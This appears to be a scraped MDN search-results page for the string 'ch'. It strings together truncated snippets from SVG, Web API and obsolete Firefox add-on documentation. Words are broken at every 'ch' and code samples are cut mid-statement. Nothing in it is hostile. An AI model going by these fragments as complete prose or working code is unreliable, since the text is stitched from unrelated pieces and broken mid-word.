...lement is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" x
channelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" x
channelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displa...
...ced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color
channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
...And 5 more matches
yChannelSelector - SVG: Scalable Vector Graphics
the y
channelselector attribute indicates whi
ch color
channel from in2 to use to displace the pixels in in along the y-axis.
...lement is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" y
channelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" y
channelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displa...
...ced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color
channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
...And 5 more matches
Web technology for developers
to take full advantage of these te
chnologies, you need to know how to use them.
... below you'll find links to our web te
chnology documentation.
... documentation for web developers web developer reference a list of all references for web te
chnologies, including those for html, css, and so on.
...And 5 more matches
self - Archive of obsolete content
note that the self object in content scripts is completely different from the self module, whi
ch provides an api for an add-on to access its data files and id.
... self properties options content-scripting apis su
ch as tab.atta
ch(), page-mod, and page-worker let you pass read-only data to the content script as a json object via the contentscriptoptions option.
... if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.atta
ch({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code.
...And 4 more matches
Contributor's Guide - Archive of obsolete content
classes and inheritance a class is a blueprint from whi
ch individual objects are created.
...ea
ch class defines one or more members, whi
ch are initialized to a given value when the class is instantiated.
... data members are properties that allow ea
ch instance to have their own state, whereas member functions are properties that allow instances to have behavior.
...And 4 more matches
Module structure of the SDK - Archive of obsolete content
a commonjs module is a piece of reusable javascript: it exports certain objects whi
ch are thus made available to dependent code.
... commonjs defines: an object called exports whi
ch contains all the objects whi
ch a commonjs module wants to make available to other modules a function called require whi
ch a module can use to import the exports object of another module.
... except for scripts that interact directly with web content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascript modules whi
ch the sdk provides, su
ch as panel and page-mod.
...And 4 more matches
l10n - Archive of obsolete content
globals functions get(identifier, count, placeholder1...n) this function takes a string parameter whi
ch it uses as an identifier to look up and return a localized string in the locale currently set for firefox.
...this enables you to write functional, localizable code without localizing any strings - just make the identifiers the default language: var _ = require("sdk/l10n").get; console.log(_("hello!")); however, this will make it more difficult to maintain your code if you have many localizations, because any
changes to the identifier values break all your .properties files.
... if you're supplying different localizations for a string depending on the number of items (that is, whether to use a singular or plural form) then get() takes a second integer parameter whi
ch indicates the number of items there are.
...And 4 more matches
querystring - Archive of obsolete content
globals functions stringify(fields, separator, assignment) serializes an object containing name:value pairs into a query string: querystring.stringify({ foo: 'bar', baz: 4 }); // => 'foo=bar&baz=4' by default '&' and'=' are used as separator and assignment
characters, but you can override this using additional optional parameters: querystring.stringify({ foo: 'bar', baz: 4 }, ';', ':'); // => 'foo:bar;baz:4' parameters fields : object the data to convert to a query string.
... separator : string the string to use as a separator between ea
ch name:value pair.
... assignment : string the string to use between ea
ch name and its corresponding value.
...And 4 more matches
simple-storage - Archive of obsolete content
because jpm run by default uses a fresh profile ea
ch time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next.
...you may also need to include the --no-copy option to prevent firefox from copying the profile to a temporarry directory ea
ch time it starts.
... constructing arrays be careful to construct array objects conditionally in your code, or you may zero them ea
ch time the construction code runs.
...And 4 more matches
content/loader - Archive of obsolete content
provides one of the building blocks for those modules that use content scripts to interact with web content, su
ch as panel and page-mod.
... usage the module exports a constructor for the loader object, whi
ch inherits on(), once(), and removelistener() functions that enable its users to listen to events.
... loader adds code to initialize and validate a set of properties for managing content scripts: contenturl contentscript contentscriptfile contentscriptwhen contentscriptoptions allow when certain of these properties are set, the loader emits a property
change event, enabling its users to take the appropriate action.
...And 4 more matches
util/array - Archive of obsolete content
let { has } = require('sdk/util/array'); let a = ['rock', 'roll', 100]; has(a, 'rock'); // true has(a, 'rush'); // false has(a, 100); // true parameters array : array the array to sear
ch.
... element : * the element to sear
ch for in the array.
... let { hasany } = require('sdk/util/array'); let a = ['rock', 'roll', 100]; hasany(a, ['rock', 'bright', 'light']); // true hasany(a, ['rush', 'coil', 'jet']); // false parameters array : array the array to sear
ch for elements.
...And 4 more matches
Add a Context Menu Item - Archive of obsolete content
when it's clicked, the selection is sent to the main add-on code, whi
ch just logs it: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', onmessage: function (selectiontext) { console.log(selectiontext); } }); try it: run th...
... context the context describes the circumstances in whi
ch the item should be shown.
... the context-menu module provides a number of simple built-in contexts, including this selectioncontext(), whi
ch means: display the item when something on the page is selected.
...And 4 more matches
Add-on SDK - Archive of obsolete content
you can use various standard web te
chnologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, whi
ch you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
... development te
chniques learn about common development te
chniques, su
ch as unit testing, logging, creating reusable modules, localization, and mobile development.
...And 4 more matches
Customizing the download progress bar - Archive of obsolete content
in your jar.mn file, add the following (replacing "myextension" with the name of your extension's
chrome package): % overlay
chrome://mozapps/content/downloads/downloads.xul
chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="
chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so th...
... the myextension.css file will look something like this: ri
chlistitem progressmeter { %ifdef xp_win min-height: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; background-image: url(
chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } ri
chlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; background-image: url(
chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx background-image: url(
chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this file only supports windows and mac, but it would be straightforward to add support f...
... this is the product of some tweaking and experimentation, so perhaps there is a different and/or better way to a
chieve the same thing.
...And 4 more matches
HTML to DOM - Archive of obsolete content
the function below will safely parse simple html and return a dom object whi
ch can be manipulated like web page elements.
... function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.append
child(body); body.append
child(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(ahtmlstring, false, null, body)); return body; } it works by creating a content-level (this is safer than
chrome-level) <div> in the current page, then parsing the html fragment and atta
ching that fragment to the <div>.
...of body), you have all document object with its complete functions list, therefore you can retrieve info within div tag like this: var dompars = htmlparser("<div id='userinfo'>john was a mediocre programmer, but people liked him <strong>anyway</strong>.</div>"); alert(dompars.getelementbyid('userinfo').innerhtml); to parse a complete html page, load it into an iframe whose type is content (not
chrome).
...And 4 more matches
Tutorials - Archive of obsolete content
getting started installation how to install the jpm tool, whi
ch you will use for developing add-ons.
... create user interfaces add a toolbar button atta
ch a button to the firefox add-on toolbar.
... modify web pages modify web pages based on url create filters for web pages based on their url: whenever a web page whose url mat
ches the filter is loaded, execute a specified script in it.
...And 3 more matches
Downloading Files - Archive of obsolete content
var privacy = privatebrowsingutils.privacycontextfromwindow(urlsourcewindow); persist.persistflags = persist.persist_flags_from_ca
che | persist.persist_flags_replace_existing_files; persist.saveuri(uritosave, null, null, null, "", targetfile, privacy); if you don't need detailed progress information, you might be happier with nsidownloader.
...var privacy = privatebrowsingutils.privacycontextfromwindow(aurlsourcewindow); var progresselement = document.getelementbyid("progress_element"); persist.progresslistener = { onprogress
change: function(awebprogress, arequest, acurselfprogress, amaxselfprogress, acurtotalprogress, amaxtotalprogress) { var percentcomplete = math.round((acurtotalprogress / amaxtotalprogress) * 100); progresselement.textcontent = percentcomplete +"%"; }, onstate
change: function(awebprogress, arequest, astateflags, astatus) { // do something } } persist.saveuri(obj_uri, null, null, nu...
...if you want to open a login prompt, you can use the default prompt by calling the window wat
cher's getnewauthprompter() method.
...And 3 more matches
Label and description - Archive of obsolete content
to cause the text to wrap: ensure the long-running text is a text node
child of <description/> or <label/> (i.e., do not specify the long-running text in the value attribute of these elements).
...this reduces all whitespace
chunks (including newlines) to single spaces.
...text cannot wrap automatically but can still be a
chieved with <html:br/> if desired.
...And 3 more matches
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed ea
ch time a new page is loaded in browser/mail.
... if you need finer control over custom code execution—for example, as documents are loading or when tabs are swit
ched—see progress listeners.
... progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab swit
ching events.
...And 3 more matches
xml:base support in old browsers - Archive of obsolete content
before using this code,
check if your browser has native support for node.baseuri.
... var s
cheme = /(\w(\w|\d|\+|\- |\ .)*)\:\/\//; function getxmlbaselink (xlink, thisitem) { var xmlbase = ''; if (!xlink.mat
ch(s
cheme)) { // only
check for xml base if there is no protocol // tests for 's
cheme' per http://www.ietf.org/rfc/rfc2396.txt' xmlbase = getxmlbase (thisitem); if (!xmlbase.mat
ch(/\/$/) && !xlink.mat
ch(/\/$/)) { // if no preceding slash on xlink or trailing slash on xml:base, add one in between xmlbase += '/'; } else if (xmlbase.mat
ch(/\/$/) && xlink.mat
ch(/\/$/)) { xmlbase = xmlbase.substring...
...(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.mat
ch(s
cheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute url, it should be from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.protocol + '//' + loc.host + dirpath + link; } } return link; } function getxmlbase (thisitem) { // fix: need ...
...And 3 more matches
Custom about: URLs - Archive of obsolete content
this example creates an about page with url about:myaboutpage whi
ch takes a user to a page that writes some text out.
... in bug 1254752 things
changed for firefox 48 and up.
... services.io.new
channel was deprecated, and the signature of the new
channel method
changed.
...And 3 more matches
XUL user interfaces - Archive of obsolete content
more specialized features can be built from parts by using xul together with other te
chnologies that you have seen in this tutorial: css style, javascript code, and xbl bindings.
... font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { margin-bottom: 1em; } .demo-group column { margin-right: .5em; } .demo-group row { margin-bottom: .5em; } .demo-group .buttons { -moz-box-pack: end; } /* the day-of-week labels */ .day { margin-left: 1em; } .day[disabled] { color: #777; } .day:first-
child { margin-left: 4px; } /* the left column labels */ .text-prompt { padding-top: .25em; } /* the date input box */ #date-text { max-width: 8em; } /* the status bar */ statusbar { width: 100%; border: 1px inset -moz-dialog; margin: 4px; padding: 0px 4px; } #status { padding: 4px; } #status[warning] { color: red; } make a new text file, script7.js.
...n settoday() { var d = new date() datebox.value = (d.getmonth() + 1) + "/" + d.getdate() + "/" + d.getfullyear() refresh() } // called by date textbox function refresh() { var d = datebox.value var thedate = null showstatus(null) if (d != "") { try { var a = d.split("/") var thedate = new date(a[2], a[0] - 1, a[1]) showstatus(thedate) } cat
ch (ex) {} } setday(thedate) } // internal function setday(adate) { if (currentday) currentday.setattribute("disabled", "true") if (adate == null) currentday = null else { var d = adate.getday() currentday = daybox.first
child while (d-- > 0) currentday = currentday.nextsibling currentday.removeattribute("disabled") } datebox.focus(); } function showstatus(adat...
...And 3 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known applications that at one point used mozilla te
chnologies or that are no longer being actively maintained.
... applications that swit
ched to another te
chnology name description additional information angelsoft tools for startups, vcs, and angel investors swit
ched from xulrunner-based client to a web application autodesk maya 3d modeling tool swit
ched off of gecko for help browser in version 8.5 blam feed reader swit
ched to webkit in version 1.8.6 boxee media center software swit
ched to webkit in version 1.0 epiphany browser swit
ched from gecko to webkit flock social browsing flock swit
ched from being firefox-based to
chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system ...
... as of mar
ch 2010, rw/w reports jolicloud is on
chrome/
chrome os joost tv over internet swit
ched from xulrunner-based client to a web application liferea news aggregator swit
ched to webkit in version 1.6 manyone browser browser originally mozilla-based but now i believe the have a web-based tool (need reference for that) miro (formerly democracy player) video swit
ched from xulrunner to webkit in version 3.0.2 moblin browser browser when moblin became meego it swit
ched from a custom gecko-based browser to
chrome nautilus file manager hasn't used mozilla code since version 2.0 raptr client gaming client was a xulrunner app initially but now uses adobe air rift te
chnologies sof...
...And 3 more matches
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
the handler receives the assert string, and sequentially attempts to mat
ch ea
ch word in the string (left to right) to registry dword names from hklm\software\mozilla.org\windbgdlg and hkcu\software\mozilla.org\windbgdlg.
... at the first mat
ch, it will take the action specified by the dword's value.
...as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src/nsxulelement.cpp," (with the comma - mat
ches are whole-word only) and value 0x5, the assert would automatically be ignored.
...And 3 more matches
GRE - Archive of obsolete content
the framework for embedding mozilla te
chnologies was at one point called the gre (gecko runtime environment).
... the xre project, whi
ch means "xul runtime environment", has been replaced by xulrunner.
...there was never an official gre shipped for linux, but various distributors su
ch as red hat have registered mozilla installations as if they were a gre.
...And 3 more matches
Extensions - Archive of obsolete content
one of prism's features is an extreme lack of ui elements, whi
ch means that trying to use the same overlays in firefox and prism is really not possible.
...the code snippet will look something like this: <em:targetapplication> <!– prism –> <description> <em:id>prism@developer.mozilla.org</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>1.0.0.*</em:maxversion> </description> </em:targetapplication> in addition to the install manifest
changes, you may want to expose your extension into the prism ui.
... prism does have a few ui elements, su
ch as a toolbox, toolbar, menubar, popup menus, statusbar and a container for the browser.
...And 3 more matches
Priority Content - Archive of obsolete content
book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators: started: core javascript reference 1.5 original: core javascript reference 1.5 wiki location: core javascript 1.5 reference migrators: deb ri
chardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1.0 wiki location: transforming xml with xslt migrators: serge k.
...gins: macromedia flash original: scripting plugins: macromedia flash wiki location: scripting plugins: macromedia flash migrators: dependant on (these parts need to be done, put your name down) completed: soap in netscape gecko-based browsers original: soap in netscape gecko-based browsers wiki location: soap in gecko-based browsers migrators: doron rosenberg in progress: css support
charts original: css support
charts and ar
chive.org mirror wiki location: css support
charts migrators: serge k.
... keller licensing: these css
charts appear to be under a cc:by-nc-sa license, please make note of that on the page when you do the migration.
...And 3 more matches
Tamarin mercurial commit hook - Archive of obsolete content
the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-commit-hook.py this is a simple mercurial hook that
checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_
change" - looks for this text and warns user as security
changes should not be
checked into the public tamarin-redux repository.
...hook use on every commit to your local repository, the hook will only
check for violations in any new /
changed code.
... any untou
ched lines of code that violate the
check will be ignored.
...And 3 more matches
Treehydra Manual - Archive of obsolete content
et node = cgraph; node; node = node.next) { let fn = node.decl; if (decl_struct_function(fn)) { // fn has a body print(fn); let cfg = function_decl_cfg(fn); } } gimple reference for a detailed description of gimple see gcc/tree.def and gcc/cp/operators.def see also treehydra.js, gcc_compat.js, gcc_util.js, and gcc_print.js in the treehydra libs directory, whi
ch have many ports of gcc macros and other functions for conveniently accessing gimple data in javascript.
...there is a sample application that
checks for double-locking in a simple mutex api in test/esp_lock.js.
... abstract interpretation is a big topic, whi
ch is not yet fully documented here.
...And 3 more matches
Binding Implementations - Archive of obsolete content
when the src attribute is specified, any
children of the implementation element are ignored.
... for properties with raw values, an initial value can be specified as a
child of the property tag.
... the script is evaluated at the time of binding atta
chment and the resulting value is stored on the element.
...And 3 more matches
MediaTrackSettings.channelCount - Web APIs
the mediatracksettings dictionary's
channelcount property is an integer indicating how many audio
channel the mediastreamtrack is currently configured to have.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.
channelcount property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by
checking the value of mediatracksupportedconstraints.
channelcount as returned by a call to mediadevices.getsupportedconstraints().
...And 2 more matches
MessageChannel.port1 - Web APIs
the port1 read-only property of the message
channel interface returns the first port of the message
channel — the port atta
ched to the context that originated the
channel.
... syntax
channel.port1; value a messageport object, the first port of the
channel, that is the port atta
ched to the context that originated the
channel.
... example in the following code block, you can see a new
channel being created using the message
channel() constructor.
...And 2 more matches
MessageChannel.port2 - Web APIs
the port2 read-only property of the message
channel interface returns the second port of the message
channel — the port atta
ched to the context at the other end of the
channel, whi
ch the message is initially sent to.
... syntax
channel.port2; value a messageport object representing the second port of the
channel, the port atta
ched to the context at the other end of the
channel.
... example in the following code block, you can see a new
channel being created using the message
channel.message
channel constructor.
...And 2 more matches
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttype
childnode.previouselementsibling read-only property returns the element immediately prior to the specified one in its parent's
children list, or null if the specified element is the first one in the list.
...div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-
child-elements.js if(!("previouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "previouselementsibling", { get: function(){ var e = this.previoussibling; while(e && 1 !== e.nodetype) e = e.previoussibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/ma...
...ster/dom/nondocumenttype
childnode/previouselementsibling/previouselementsibling.md (function (arr) { arr.forea
ch(function (item) { if (item.hasownproperty('previouselementsibling')) { return; } object.defineproperty(item, 'previouselementsibling', { configurable: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype,
characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttype
childnode.previouselementsibling' in that specification.
...And 2 more matches
PaymentRequest.onmerchantvalidation - Web APIs
the paymentrequest event handler onmer
chantvalidation is invoked when the mer
chantvalidation is fired, indicating that the payment handler (e.g., apple pay) requires the mer
chant to validate themselves.
... this is usually the first event to be fired, and the user won't be able to proceed with a payment until the mer
chant validate themselves.
... syntax paymentrequest.onmer
chantvalidation = eventhandlerfunction; value an event handler function whi
ch is to be called whenever the mer
chantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the mer
chant to validate themselves as allowed to use this payment handler.
...And 2 more matches
PerformanceResourceTiming.fetchStart - Web APIs
the fet
chstart read-only property represents a timestamp immediately before the browser starts to fet
ch the resource.
... if there are http redirects the property returns the time immediately before the user agent starts to fet
ch the final resource in the redirection.
... syntax resource.fet
chstart; return value a domhighrestimestamp immediately before the browser starts to fet
ch the resource.
...And 2 more matches
RTCDataChannel.binaryType - Web APIs
the property binarytype on the rtcdata
channel interface is a domstring whi
ch specifies the type of javascript object whi
ch should be used to represent binary data received on the rtcdata
channel.
... when a binary message is received on the data
channel, the resulting message event's messageevent.data property is an object of the type specified by the binarytype.
... syntax var type = adata
channel.binarytype; adata
channel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects.
...And 2 more matches
RTCDataChannel.negotiated - Web APIs
the read-only rtcdata
channel property negotiated indicates whether the rtcdata
channel's connection was negotiated by the web app (true) or by the webrtc layer (false).
... see creating a data
channel in using webrtc data
channels for further information about this property.
... syntax var negotiated = adata
channel.negotiated; value true if the rtcdata
channel's connection was negotiated by the web app itself; false if the negotiation was handled by the webrtc layer.
...And 2 more matches
RTCDataChannel.onclosing - Web APIs
the rtcdata
channel.onclosing property is an eventhandler whi
ch specifies a function to be called by the browser when the closing event is received by the rtcdata
channel.
... this is a simple event whi
ch indicates that the data
channel is being closed, that is, rtcdata
channel transitions to "closing" state.
... for example, after rtcdata
channel.close() was called but the underlying data transport might not have been closed yet.
...And 2 more matches
RTCDataChannel.onopen - Web APIs
the rtcdata
channel.onopen property is an eventhandler whi
ch specifies a function to be called when the open event is fired; this is a simple event whi
ch is sent when the data
channel's underlying data transport—the link over whi
ch the rtcdata
channel's messages flow—is established or re-established.
... syntax rtcdata
channel.onopen = function; value a function whi
ch the browser will call to handle the open event.
... example this example adds a new data
channel to an existing rtcpeerconnection, mypeerconnection.
...And 2 more matches
RTCDataChannel.stream - Web APIs
the deprecated (and never part of the official specification) read-only rtcdata
channel property stream returns an id number (between 0 and 65,535) whi
ch uniquely identifies the rtcdata
channel.
... this id is set at the time the data
channel is created, either by the user agent (if rtcdata
channel.negotiated is false) or by the site or app script (if negotiated is true).
... this property has been replaced with the rtcdata
channel.id property.
...And 2 more matches
RTCIceTransport.onstatechange - Web APIs
the onstate
change event handler for the rtcicetransport interface is a property whi
ch specifies a function to serve as the eventhandler for the state
change event that is fired whenever the transport's state
changes.
... syntax rtcicetransport.onstate
change = state
changehandler; value set this property to reference a function you provide that is called by the webrtc layer when the rtcicetransport object's state
changes.
... the event handler receives as its sole input an event object describing the state
change event whi
ch occurred.
...And 2 more matches
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepair
change event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a viable connection.
... the pair of candidates is in turn described by an rtcicecandidatepair object whi
ch contains one rtcicecandidate representing the local end of the connection, and another representing the remote end of the connection.
... bubbles no cancelable no interface event event handler property onselectedcandidatepair
change examples this example creates an event handler for selectedcandidatepair
change that updates a display providing the user information about the progress of the ice negotiation for an rtcpeerconnection called pc.
...And 2 more matches
RTCPeerConnection: datachannel event - Web APIs
a data
channel event is sent to an rtcpeerconnection instance when an rtcdata
channel has been added to the connection, as a result of the remote peer calling rtcpeerconnection.createdata
channel().
... note: this event is not dispat
ched when the local end of the connection creates the
channel.
... bubbles no cancelable no interface rtcdata
channelevent event handler property ondata
channel examples this example sets up a function that handles data
channel events by gathering the information needed to communicate with the newly added rtcdata
channel and by adding event handlers for the events that occur on that
channel.
...And 2 more matches
RTCPeerConnection.onconnectionstatechange - Web APIs
the rtcpeerconnection.onconnectionstate
change property specifies an eventhandler whi
ch is called to handle the connectionstate
change event when it occurs on an instance of rtcpeerconnection.
... this happens whenever the aggregate state of the connection
changes.
... syntax rtcpeerconnection.onconnectionstate
change = eventhandler; value a function whi
ch is called by the browser when the connectionstate
change event occurs on the rtcpeerconnection.
...And 2 more matches
console - Archive of obsolete content
try { dothing(); } cat
ch (e) { console.exception(e); } function userexception(message) { this.message = message; this.name = "userexception"; } function dothing() { throw new userexception("thing could not be done!"); } error: my-addon: an exception occurred.
...the console defines a number of logging levels, from "more verbose" to "less verbose", and a number of different logging functions that correspond to these levels, whi
ch are arranged in order of "severity" from informational messages, through warnings, to errors.
... the complete set of logging levels is given in the table below, along with the set of functions that will result in output at ea
ch level: level will log calls to: all any console method debug debug(), error(), exception(), info(), log(), time(), timeend(), trace(), warn() info error(), exception(), info(), log(), time(), timeend(), trace(), warn() warn error(), exception(), warn() error error(), exception() off nothing setting the log...
...the value for ea
ch preference is the desired logging level, given as a string.
List Open Tabs - Archive of obsolete content
to access tab content, you need to atta
ch a script to the tab using tab.atta
ch().
... this add-on atta
ches a script to all open tabs.
... the script adds a red border to the tab's document: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) runscript(tab); } function runscript(tab) { tab.atta
ch({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
... to learn more about running scripts in tabs, see the tutorial on using tab.atta
ch().
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asyn
chronous, so you don't immediately get back a tab object whi
ch you can examine.
... to access tab content you need to atta
ch a script to the tab using tab.atta
ch().
... this add-on loads a page, then atta
ches a script to the page whi
ch adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.atta
ch({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
... to learn more about running scripts in tabs, see the tutorial on using tab.atta
ch().
Alerts and Notifications - Archive of obsolete content
basic modal alert alert('hello'); pop-ups the following code presents a non-modal pop-up, whi
ch automatically disappears after an appropriate delay.
...this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } cat
ch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-wat
cher;1'] .getservice(components.interfaces.nsiwindowwat
cher) .openwindow(null, '
chrome://global/co...
...ntent/alerts/alert.xul', '_blank', '
chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly).
...; var notification = box.getnotificationwithvalue('popup-blocked'); if (notification) { notification.label = message; } else { var buttons = [{ label: 'button', accesskey: 'b', popup: 'blockedpopupoptions', callback: null }]; let priority = box.priority_warning_medium; box.appendnotification(message, 'popup-blocked', '
chrome://browser/skin/info.png', priority, buttons); } ...
Boxes - Archive of obsolete content
wrapping contents in html you can use a div as a container and when the div
changes size, the contents will wrap or adjust the layout.
...however, you can easily add this capability with a style
change.
... make the box style="display: block" and the wrapping behavior will occur when the box is resized: <?xml version="1.0"?> <?xml-stylesheet href="
chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="jjj"/> <label value="kkk"/> <label value="lll"/> <label value="mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <labe...
...this keeps the image from stret
ching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="
chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="
chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="
chrome://global/skin/icons/error.png" style="padding:5px"/> <button label="hello"/> <image src="
chrome://global/skin/icons/error.png" style="padding:5px"/> </box> </window> ...
getAttributeNS - Archive of obsolete content
while namespaced attributes are less common than namespaced elements, some standards su
ch as xlink depend on them.
....org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being sear
ched (escape period since only
character (besides colon) allowed in an xml name whi
ch needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { var xmlnsprefix ...
...= new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink //
check higher up for xmlns:prefix //
check the current node and if necessary,
check for the next mat
